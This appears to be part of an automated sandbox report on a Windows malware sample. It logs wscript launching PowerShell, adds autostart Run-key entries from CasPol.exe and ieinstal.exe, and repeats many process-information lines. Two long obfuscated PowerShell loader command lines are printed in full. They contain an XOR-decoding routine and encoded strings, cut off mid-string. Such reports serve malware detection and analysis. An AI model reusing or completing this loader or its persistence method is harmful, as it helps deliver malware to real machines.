Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Badeanstalt = """reFLiuEfnBrcExtApiHjoStnBu HyHFlTDuBSp su{Hi Cl An Pa BapinaCarZiaSomVo(Cz[PaSDetalrCaiennOugDe]Ca`$UdHBaSUd)Fr;Ag At Ud Ho Af`$UsBeuyAktNoePasBo Sa=Sn ThNAneNowBo-MuOGrbEpjLoeDdcBetHu TobPayVrtSeeLa[Al]Po Bd(Me`$VaHTnSDe.ReLPeeNonVegMatunhSl Re/Sk Di2Gi)Ko;Un ge Ma Is GeFFloLerWi(fe`$HaiOp=om0Pe;Fu Ma`$PhiDo Ge-MaltitSe Fa`$SyHBeSBa.DoLUneDenScgDotUnhCa;Do Un`$reiom+Re=Be2Du)Va{Fl Pl Re Ad Ot ta Sp Sk Ho`$DoBFeyDetLeegasSm[Fi`$geiAf/na2De]Od Ge=Sa Tr[RecSkoUnnLivKresirOrtBr]Il:Me:DaTDioDiBBoyPatGleSu(Po`$UsHHeSPh.boSFruAfbNesMatUnrPriPonUngLa(Il`$StiPa,Su Jo2Po)Ca,Bl Af1Sn6Du)No;Ma Te Un`$miBKryPrtCheGtsPa[Du`$SyiUn/Tr2Fi]Mi Ta=Ha Ah(Fo`$SiBbiyIntOpeovsOl[Kb`$spiHe/Ar2Fr]Fe Ci-FrbRexEnoPhrTi Hy2St2Re9La)lo;so Le De Ca Vr}Re Un[MuSkutSqrLaiApnNogBl]Pe[MaSChyInsDetpaeNemSt.VaTBaeKaxIbtBi.ReEManPlcGeourdPriMonPrgSy]Si:Ko:RaAUdSAkCWaIFoIsa.MoGBaeButTaSGutUnrFriUlnIngBa(Ba`$FobSeyPitTheAnsId)li;Bl}Ga`$DeHBrdSalUncIr0Sk=KrHOuTBeBAf Ry'BeBRe6te9SpCBe9Be6Pr9Gr1js8Et0Am8In8SeCEnBCa8co1In8Ta9Pr8Cr9De'Sy;Lu`$plHRvdaflFocIn1De=TrHDiTZiBVe Un'FeAKr8Re8TaCDe8Sl6Gr9Ag7is8XyASv9Sp6Sh8CaAHe8De3Bl9An1unCTiBteBAb2Ha8SmCUr8SuBCuDbu6LkDTi7MaCMeBSeBDe0As8TrBCh9Ah6Me8To4Pr8Ne3Fr8In0boAReBRa8st4Ti9Ve1un8ApCOp9dk3Bi8Co0SuACl8An8en0Un9In1Mo8DeDAn8PeAUd8Wu1Ra9Ca6Ba'Fo;El`$LoHBldNolSucBo2Ne=TnHBlTUnBSp Ne'siAFi2Sk8Ti0Di9Ul1tyBLo5Ob9Fi7no8ByACe8An6PoALa4Da8Bi1Ka8Im1Wh9Gt7lo8Ge0Rr9Br6Br9Di6Ar'Fl;gr`$CyHEidArlblcPr3pr=OvHenTnoBCo Ta'LeBUn6re9UpCGu9Sn6Gn9Fa1Br8Mo0Da8Pr8LyCOvBBeBwa7Sk9Fo0Sa8MaBDe9Ev1Af8KaCBa8Oc8Sc8He0NoCObBFoAToCDe8SiBSi9Se1Be8Or0Se9No7Fl8HuAOu9ty5RaBCo6Kr8Sk0dd9Se7As9Ri3Le8laCBr8we6Ou8Di0oc9Be6DaCKaBTeAUnDPu8Se4St8IsBEr8si1Ja8Ng9Li8Sp0FoBDi7Ci8Ex0Vi8st3sl'Sk;De`$FlHPedJalJdcTi4Ki=KlHStTPrBFo Ge'Th9fi6Af9Sy1Af9Re7He8CrCWi8FoBSt8Ov2Be'Bl;Al`$AnHIndaclFocBu5Ta=OvHDeTWhBUn Ca'UdADe2Sy8Pi0In9Af1CaARi8Ha8PrAno8Sl1Py9Du0Gn8Ki9Ud8Po0MuAUnDNe8No4Ud8EpBAc8vi1Bj8Sp9St8Op0An'Af;Se`$OrHBydGrlCicFo6hm=CeHSkTInBHa Di'FaBIn7ApBin1waBbe6Em9Re5sa8No0Wo8Ai6mi8MiCBa8Pa4Sh8El9NoAStBFo8Un4Ko8Om8Lo8Ro0StCfo9ChCco5SyAJuDAg8AfCCo8In1Ps8In0FrAMi7Se9LaCTaBBr6er8TiCAp8Hu2PoCEp9SuCLo5miBRe5Ps9No0Wa8Ko7St8Sa9po8FuCCr8Eg6No'in;Hu`$InHCadUdlRocSt7mi=ReHPrTroBZe da'NeBPa7Ri9Di0Un8chBgn9Ea1Ku8SkCMe8Pr8Su8Di0OvCKa9MoCSa5SwAUd8Un8Bl4si8DiBLy8Un4ur8Gl2Fa8Fi0wh8Ne1Sc'Wa;Dd`$DeHOpdSelNocAz8Tr=ByHDiTSiBPy ev'AvBUn7Di8tr0Om8In3Ma8Fr9pr8ud0Pr8Fe6Tr9Br1Sl8Mi0Gr8In1biAVe1Hy8Sv0Ur8Hv9Pl8Bl0Kl8Ph2Ni8Se4Fa9Fy1Xy8ch0Na'Sa;Dr`$CoHAfdDolVocEn9nd=PiHKoTAsBEf In'PsAPrCGl8MuBFeATa8Fo8Kp0Un8Re8Co8UnAMe9Bl7At9GlCFoAFr8ny8ElAMi8Ek1Fy9St0Ek8Mi9He8Vr0Me'Re;Sv`$ReSActInyKarRekGoeArtunrHynWaeMu0Ov=InHAlTEtBBo Sk'SkAde8Sh9DeCPrASh1Ri8Sc0Va8Re9Ko8Co0sc8Da2St8Af4By9Sy1mi8Af0SuBHo1St9FeCfl9An5Ma8Ob0Cl'tr;Fo`$beSBatDiyAnrSukReeWatOprSunTheSt1Ch=AsHBeTLiBSk Le'SpAma6hs8mo9No8Da4Ha9Sa6ve9Po6stCUn9KoCNe5EnBSq5Pi9St0lo8Rn7Ch8Tw9Ud8BrCHy8fo6UnCfu9roCPh5PrBPa6Tm8Fe0Mi8Or4bl8Pr9Ra8Fa0Pr8Us1GlCLy9
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Damspils = """ReFGruKonNacSktDoiKloUtnHe GrHshTPuBMi Mi{G ud ho Pr HvpflaRurNoaVamSo(st[DeSBotOrrMoiAnnBogPh]Di`$HiHStSBl)Ro;Pa Ni vn Ra Sa`$InBvoyUntAlesisBe Sp=Af UnNBreGrwKr-ByOCabOmjcyeUncBytOr PrbGlyFotPreSt[Be]Av Fa(fo`$AlHDeSSt.MiLQueRinPegBatHahGe Te/Un Ev2Me)Ta;Sm Op Fo St ChFmooKurUn(Sc`$HaiDr=Di0Pr;Is Ly`$HaiPo Sn-OvlKitCo Dy`$FlHSpSpe.GyLSkeOknbrgCatSahAl;Ko Sp`$DeiTr+Da=sk2Ak)La{Ma Sp Wh Ko Gu Va St Ba Pt`$PrBUdySttAueBesUr[Hy`$OdiSt/Kf2Ar]Re Ka=De Ku[AbcFooTonPavToeUdrCotFu]je:Bo:SpTstoSkBGlyGrtPreUr(Su`$UiHDeSNo.caSpruCobOvsPotwerHyiLinTrgCu(St`$MaiMa,Le Di2My)In,Pa Pa1Az6No)Ju;Co Ba Rn`$GaBOpyTitSteBosDi[Au`$EliAd/As2Ma]Pa Ve=Tr Sh(Ci`$SpBAayTetOxeBosIn[Ra`$MaiOm/Ba2Am]Bo Do-TibDixGloMorPa En2Fr0ba1Om)He;Au Vg Re Mr as}Mi Mi[SuSKktTurspiFanMagOv]En[GrSInyHysCltCaeStmIn.StTPoeUdxUntKo.reEAfnThcUnoTrdariUnnRegTa]Be:Ka:OvASlSTrCPaIExIBr.DiGSaehatMiSOutAlrSpiTanSugBi(me`$ElbInyEttIneMasSu)Ci;By}Mi`$InRHaeGrcOvaGilSycTeiOptRhrRiaHitdieMe0Pi=LiHomTExBOv Sn'Ho9ThASnBVi0VaBAaARaBCiDplACoCGyAVo4OpEIn7WeAKoDPeAEx5OpAFr5Cu'bi;Ge`$EmRAfeBycDiaEmlUncheiAptrirExaHetsteBe1lb=GuHDaTGeBSk Le'Di8Rg4LyApr0InAViASpBReBBoACo6SiBSlAKoAFi6ScABrFMiBLiDSiEMo7Be9laEUnASt0BiAKo7WrFCaAUnFStBHoECh7Ra9ChCPaABe7SkBadAPaATr8HuAKeFskADoCkn8Sk7MaAPr8RoBCrDFoAPe0MeBLaFScAJuCNo8Te4BoAReCSpBDiDdeAun1BiATi6TuAWeDHeBIlARi'Im;Ga`$HoRIseMicCaaChlPocFoiTrtberDeaFltFoeXx2ma=RuHMeTOvBNo Pi'Ru8LyERaAObCMyBAnDUn9In9AnBIdBbaAHy6WiAspAUn8Pa8JoABiDFlASvDFaBDaBCiAbiCHaBjaAPrBanAFo'Ju;Sa`$MtRThehicHyaUnlCycSeiDetNorSnaEbtTeeDy3Ge=urHMaTPhBBu Ex'Si9AdABeBNa0OlBMiASkBBoDBrAMuCUnARu4HoECh7Be9SyBFoBusCOpAUn7FaBUnDSpAOp0haAAn4KiAReCSrESm7Ga8Ro0DoAGl7TiBfoDGlASiCYoBSuBDeAJo6FlBAi9Af9MaAKiASpCSaBFjBGaBFrFBnAsw0OvAWeACuAteCToBLaAOuEFo7Sa8Se1InATi8SpAEc7DeAFoDSaAOp5FoAAlCGi9CyBFiAReCKlADrFFe'Ko;Be`$ToRMaePrcNoaInlRecEtiMatInrWiaKotAleEx4Ga=FoHTiTBaBWe Un'OvBTrAHeBinDIlBPyBFaAEv0KoABe7AmAStEUn'Fo;Co`$SkRSeeVacobabrlincRyiDetGrrWhaChtFoeRa5Ba=ccHSpTAnBPr Au'In8VgEFnAPaCYpBMoDOm8Kl4RaAMu6DeACoDHuBHiCSnAHy5LoAGeCUd8Th1TrAFl8InAEn7TaAUnDBuAel5AfAKaCRe'Un;Af`$GaRDeeBocmyaMelMacKviOptMirHeaTrtPaeSa6Pl=HeHOmTKiBUl Ea'Ku9svBUb9LiDGe9NeASuBFe9foANaClaAInAHeAFy0FoAKh8CaATr5un8To7FlAEn8KoAHe4DoABiCdiEBl5HiEOi9Ha8Po1MaAfl0alATaDDiACiCAf8GiBSpBCa0ra9BuADuAAe0UdACaESjETr5GoEHa9Op9Ma9StBexCWoAStBKrARn5BeAFl0AmAarAAf'Uk;Jo`$TeRBaeRecNaaHolDrcJeiOmtImrOuaNotSoeKo7Re=SuHXyTRuBTa Tr'na9LiBFoBScCHuADe7AaBGrDJuACa0foAGi4AnAReCGlEYo5MaEKa9Or8Mi4deAIn8MoASj7EuAth8FuAFoEimAMeCUnABeDGi'Ty;do`$TeRFleVacInaMelUocPuiOvtWirLeaKntMneAn8St=TiHPaTPaBSt St'Tn9LiBChANoCLyAJoFLyAAs5DiAFaCViADmABoBCaDOpALvCGaAHiDPr8HaDVaAPoCOvAPo5TaANoCcrAPrEScACi8MeBApDnoAKaCLy'St;Un`$SmRFieSicSeaSelDicPaivatRarTeaPotReeDr9Ov=MeHDoTSiBSt ca'Ta8os0GlANo7Ro8Ch4PeATrCreAOp4BeASt6aaBAaBIlBAl0En8st4HoAFe6YeARaDlsBExCUnAUn5PrAPoCde'Fo;Ro`$StDnoeGomFgaSugcynKieretEviAmzPaaLmbBllUdePl0Co=PaHAlTAgBKi ma'Ba8Dr4noBSy0Sa8ToDHuAFrCTeAT
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Badeanstalt = """reFLiuEfnBrcExtApiHjoStnBu HyHFlTDuBSp su{Hi Cl An Pa BapinaCarZiaSomVo(Cz[PaSDetalrCaiennOugDe]Ca`$UdHBaSUd)Fr;Ag At Ud Ho Af`$UsBeuyAktNoePasBo Sa=Sn ThNAneNowBo-MuOGrbEpjLoeDdcBetHu TobPayVrtSeeLa[Al]Po Bd(Me`$VaHTnSDe.ReLPeeNonVegMatunhSl Re/Sk Di2Gi)Ko;Un ge Ma Is GeFFloLerWi(fe`$HaiOp=om0Pe;Fu Ma`$PhiDo Ge-MaltitSe Fa`$SyHBeSBa.DoLUneDenScgDotUnhCa;Do Un`$reiom+Re=Be2Du)Va{Fl Pl Re Ad Ot ta Sp Sk Ho`$DoBFeyDetLeegasSm[Fi`$geiAf/na2De]Od Ge=Sa Tr[RecSkoUnnLivKresirOrtBr]Il:Me:DaTDioDiBBoyPatGleSu(Po`$UsHHeSPh.boSFruAfbNesMatUnrPriPonUngLa(Il`$StiPa,Su Jo2Po)Ca,Bl Af1Sn6Du)No;Ma Te Un`$miBKryPrtCheGtsPa[Du`$SyiUn/Tr2Fi]Mi Ta=Ha Ah(Fo`$SiBbiyIntOpeovsOl[Kb`$spiHe/Ar2Fr]Fe Ci-FrbRexEnoPhrTi Hy2St2Re9La)lo;so Le De Ca Vr}Re Un[MuSkutSqrLaiApnNogBl]Pe[MaSChyInsDetpaeNemSt.VaTBaeKaxIbtBi.ReEManPlcGeourdPriMonPrgSy]Si:Ko:RaAUdSAkCWaIFoIsa.MoGBaeButTaSGutUnrFriUlnIngBa(Ba`$FobSeyPitTheAnsId)li;Bl}Ga`$DeHBrdSalUncIr0Sk=KrHOuTBeBAf Ry'BeBRe6te9SpCBe9Be6Pr9Gr1js8Et0Am8In8SeCEnBCa8co1In8Ta9Pr8Cr9De'Sy;Lu`$plHRvdaflFocIn1De=TrHDiTZiBVe Un'FeAKr8Re8TaCDe8Sl6Gr9Ag7is8XyASv9Sp6Sh8CaAHe8De3Bl9An1unCTiBteBAb2Ha8SmCUr8SuBCuDbu6LkDTi7MaCMeBSeBDe0As8TrBCh9Ah6Me8To4Pr8Ne3Fr8In0boAReBRa8st4Ti9Ve1un8ApCOp9dk3Bi8Co0SuACl8An8en0Un9In1Mo8DeDAn8PeAUd8Wu1Ra9Ca6Ba'Fo;El`$LoHBldNolSucBo2Ne=TnHBlTUnBSp Ne'siAFi2Sk8Ti0Di9Ul1tyBLo5Ob9Fi7no8ByACe8An6PoALa4Da8Bi1Ka8Im1Wh9Gt7lo8Ge0Rr9Br6Br9Di6Ar'Fl;gr`$CyHEidArlblcPr3pr=OvHenTnoBCo Ta'LeBUn6re9UpCGu9Sn6Gn9Fa1Br8Mo0Da8Pr8LyCOvBBeBwa7Sk9Fo0Sa8MaBDe9Ev1Af8KaCBa8Oc8Sc8He0NoCObBFoAToCDe8SiBSi9Se1Be8Or0Se9No7Fl8HuAOu9ty5RaBCo6Kr8Sk0dd9Se7As9Ri3Le8laCBr8we6Ou8Di0oc9Be6DaCKaBTeAUnDPu8Se4St8IsBEr8si1Ja8Ng9Li8Sp0FoBDi7Ci8Ex0Vi8st3sl'Sk;De`$FlHPedJalJdcTi4Ki=KlHStTPrBFo Ge'Th9fi6Af9Sy1Af9Re7He8CrCWi8FoBSt8Ov2Be'Bl;Al`$AnHIndaclFocBu5Ta=OvHDeTWhBUn Ca'UdADe2Sy8Pi0In9Af1CaARi8Ha8PrAno8Sl1Py9Du0Gn8Ki9Ud8Po0MuAUnDNe8No4Ud8EpBAc8vi1Bj8Sp9St8Op0An'Af;Se`$OrHBydGrlCicFo6hm=CeHSkTInBHa Di'FaBIn7ApBin1waBbe6Em9Re5sa8No0Wo8Ai6mi8MiCBa8Pa4Sh8El9NoAStBFo8Un4Ko8Om8Lo8Ro0StCfo9ChCco5SyAJuDAg8AfCCo8In1Ps8In0FrAMi7Se9LaCTaBBr6er8TiCAp8Hu2PoCEp9SuCLo5miBRe5Ps9No0Wa8Ko7St8Sa9po8FuCCr8Eg6No'in;Hu`$InHCadUdlRocSt7mi=ReHPrTroBZe da'NeBPa7Ri9Di0Un8chBgn9Ea1Ku8SkCMe8Pr8Su8Di0OvCKa9MoCSa5SwAUd8Un8Bl4si8DiBLy8Un4ur8Gl2Fa8Fi0wh8Ne1Sc'Wa;Dd`$DeHOpdSelNocAz8Tr=ByHDiTSiBPy ev'AvBUn7Di8tr0Om8In3Ma8Fr9pr8ud0Pr8Fe6Tr9Br1Sl8Mi0Gr8In1biAVe1Hy8Sv0Ur8Hv9Pl8Bl0Kl8Ph2Ni8Se4Fa9Fy1Xy8ch0Na'Sa;Dr`$CoHAfdDolVocEn9nd=PiHKoTAsBEf In'PsAPrCGl8MuBFeATa8Fo8Kp0Un8Re8Co8UnAMe9Bl7At9GlCFoAFr8ny8ElAMi8Ek1Fy9St0Ek8Mi9He8Vr0Me'Re;Sv`$ReSActInyKarRekGoeArtunrHynWaeMu0Ov=InHAlTEtBBo Sk'SkAde8Sh9DeCPrASh1Ri8Sc0Va8Re9Ko8Co0sc8Da2St8Af4By9Sy1mi8Af0SuBHo1St9FeCfl9An5Ma8Ob0Cl'tr;Fo`$beSBatDiyAnrSukReeWatOprSunTheSt1Ch=AsHBeTLiBSk Le'SpAma6hs8mo9No8Da4Ha9Sa6ve9Po6stCUn9KoCNe5EnBSq5Pi9St0lo8Rn7Ch8Tw9Ud8BrCHy8fo6UnCfu9roCPh5PrBPa6Tm8Fe0Mi8Or4bl8Pr9Ra8Fa0Pr8Us1GlCLy9	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Damspils = """ReFGruKonNacSktDoiKloUtnHe GrHshTPuBMi Mi{G ud ho Pr HvpflaRurNoaVamSo(st[DeSBotOrrMoiAnnBogPh]Di`$HiHStSBl)Ro;Pa Ni vn Ra Sa`$InBvoyUntAlesisBe Sp=Af UnNBreGrwKr-ByOCabOmjcyeUncBytOr PrbGlyFotPreSt[Be]Av Fa(fo`$AlHDeSSt.MiLQueRinPegBatHahGe Te/Un Ev2Me)Ta;Sm Op Fo St ChFmooKurUn(Sc`$HaiDr=Di0Pr;Is Ly`$HaiPo Sn-OvlKitCo Dy`$FlHSpSpe.GyLSkeOknbrgCatSahAl;Ko Sp`$DeiTr+Da=sk2Ak)La{Ma Sp Wh Ko Gu Va St Ba Pt`$PrBUdySttAueBesUr[Hy`$OdiSt/Kf2Ar]Re Ka=De Ku[AbcFooTonPavToeUdrCotFu]je:Bo:SpTstoSkBGlyGrtPreUr(Su`$UiHDeSNo.caSpruCobOvsPotwerHyiLinTrgCu(St`$MaiMa,Le Di2My)In,Pa Pa1Az6No)Ju;Co Ba Rn`$GaBOpyTitSteBosDi[Au`$EliAd/As2Ma]Pa Ve=Tr Sh(Ci`$SpBAayTetOxeBosIn[Ra`$MaiOm/Ba2Am]Bo Do-TibDixGloMorPa En2Fr0ba1Om)He;Au Vg Re Mr as}Mi Mi[SuSKktTurspiFanMagOv]En[GrSInyHysCltCaeStmIn.StTPoeUdxUntKo.reEAfnThcUnoTrdariUnnRegTa]Be:Ka:OvASlSTrCPaIExIBr.DiGSaehatMiSOutAlrSpiTanSugBi(me`$ElbInyEttIneMasSu)Ci;By}Mi`$InRHaeGrcOvaGilSycTeiOptRhrRiaHitdieMe0Pi=LiHomTExBOv Sn'Ho9ThASnBVi0VaBAaARaBCiDplACoCGyAVo4OpEIn7WeAKoDPeAEx5OpAFr5Cu'bi;Ge`$EmRAfeBycDiaEmlUncheiAptrirExaHetsteBe1lb=GuHDaTGeBSk Le'Di8Rg4LyApr0InAViASpBReBBoACo6SiBSlAKoAFi6ScABrFMiBLiDSiEMo7Be9laEUnASt0BiAKo7WrFCaAUnFStBHoECh7Ra9ChCPaABe7SkBadAPaATr8HuAKeFskADoCkn8Sk7MaAPr8RoBCrDFoAPe0MeBLaFScAJuCNo8Te4BoAReCSpBDiDdeAun1BiATi6TuAWeDHeBIlARi'Im;Ga`$HoRIseMicCaaChlPocFoiTrtberDeaFltFoeXx2ma=RuHMeTOvBNo Pi'Ru8LyERaAObCMyBAnDUn9In9AnBIdBbaAHy6WiAspAUn8Pa8JoABiDFlASvDFaBDaBCiAbiCHaBjaAPrBanAFo'Ju;Sa`$MtRThehicHyaUnlCycSeiDetNorSnaEbtTeeDy3Ge=urHMaTPhBBu Ex'Si9AdABeBNa0OlBMiASkBBoDBrAMuCUnARu4HoECh7Be9SyBFoBusCOpAUn7FaBUnDSpAOp0haAAn4KiAReCSrESm7Ga8Ro0DoAGl7TiBfoDGlASiCYoBSuBDeAJo6FlBAi9Af9MaAKiASpCSaBFjBGaBFrFBnAsw0OvAWeACuAteCToBLaAOuEFo7Sa8Se1InATi8SpAEc7DeAFoDSaAOp5FoAAlCGi9CyBFiAReCKlADrFFe'Ko;Be`$ToRMaePrcNoaInlRecEtiMatInrWiaKotAleEx4Ga=FoHTiTBaBWe Un'OvBTrAHeBinDIlBPyBFaAEv0KoABe7AmAStEUn'Fo;Co`$SkRSeeVacobabrlincRyiDetGrrWhaChtFoeRa5Ba=ccHSpTAnBPr Au'In8VgEFnAPaCYpBMoDOm8Kl4RaAMu6DeACoDHuBHiCSnAHy5LoAGeCUd8Th1TrAFl8InAEn7TaAUnDBuAel5AfAKaCRe'Un;Af`$GaRDeeBocmyaMelMacKviOptMirHeaTrtPaeSa6Pl=HeHOmTKiBUl Ea'Ku9svBUb9LiDGe9NeASuBFe9foANaClaAInAHeAFy0FoAKh8CaATr5un8To7FlAEn8KoAHe4DoABiCdiEBl5HiEOi9Ha8Po1MaAfl0alATaDDiACiCAf8GiBSpBCa0ra9BuADuAAe0UdACaESjETr5GoEHa9Op9Ma9StBexCWoAStBKrARn5BeAFl0AmAarAAf'Uk;Jo`$TeRBaeRecNaaHolDrcJeiOmtImrOuaNotSoeKo7Re=SuHXyTRuBTa Tr'na9LiBFoBScCHuADe7AaBGrDJuACa0foAGi4AnAReCGlEYo5MaEKa9Or8Mi4deAIn8MoASj7EuAth8FuAFoEimAMeCUnABeDGi'Ty;do`$TeRFleVacInaMelUocPuiOvtWirLeaKntMneAn8St=TiHPaTPaBSt St'Tn9LiBChANoCLyAJoFLyAAs5DiAFaCViADmABoBCaDOpALvCGaAHiDPr8HaDVaAPoCOvAPo5TaANoCcrAPrEScACi8MeBApDnoAKaCLy'St;Un`$SmRFieSicSeaSelDicPaivatRarTeaPotReeDr9Ov=MeHDoTSiBSt ca'Ta8os0GlANo7Ro8Ch4PeATrCreAOp4BeASt6aaBAaBIlBAl0En8st4HoAFe6YeARaDlsBExCUnAUn5PrAPoCde'Fo;Ro`$StDnoeGomFgaSugcynKieretEviAmzPaaLmbBllUdePl0Co=PaHAlTAgBKi ma'Ba8Dr4noBSy0Sa8ToDHuAFrCTeAT	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB044E2314 pushad ; iretd	3_2_00007FFB044E232D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_04458C72 push es; ret	10_2_04458C80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0750E629 push ss; ret	10_2_0750E62A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0750E62B push ss; ret	10_2_0750E62E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0750E62F push ss; ret	10_2_0750E632
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0750E5E7 push ss; ret	10_2_0750E5EA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0750EBA8 push ebp; ret	10_2_0750EBAA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0750EA58 push edx; ret	10_2_0750EA5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0750D1F8 push es; ret	10_2_0750D1FA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0750D1AB push es; ret	10_2_0750D1C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_07505810 push es; ret	10_2_07505820
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_07517E70 push es; ret	10_2_07517E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 13_2_00B78A5F push edi; retn 0000h	13_2_00B78A61

Boot Survival

Creates multiple autostart registry keys

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Attractant			Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Hugi			Jump to behavior

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Hugi	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Hugi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Attractant	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Attractant	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
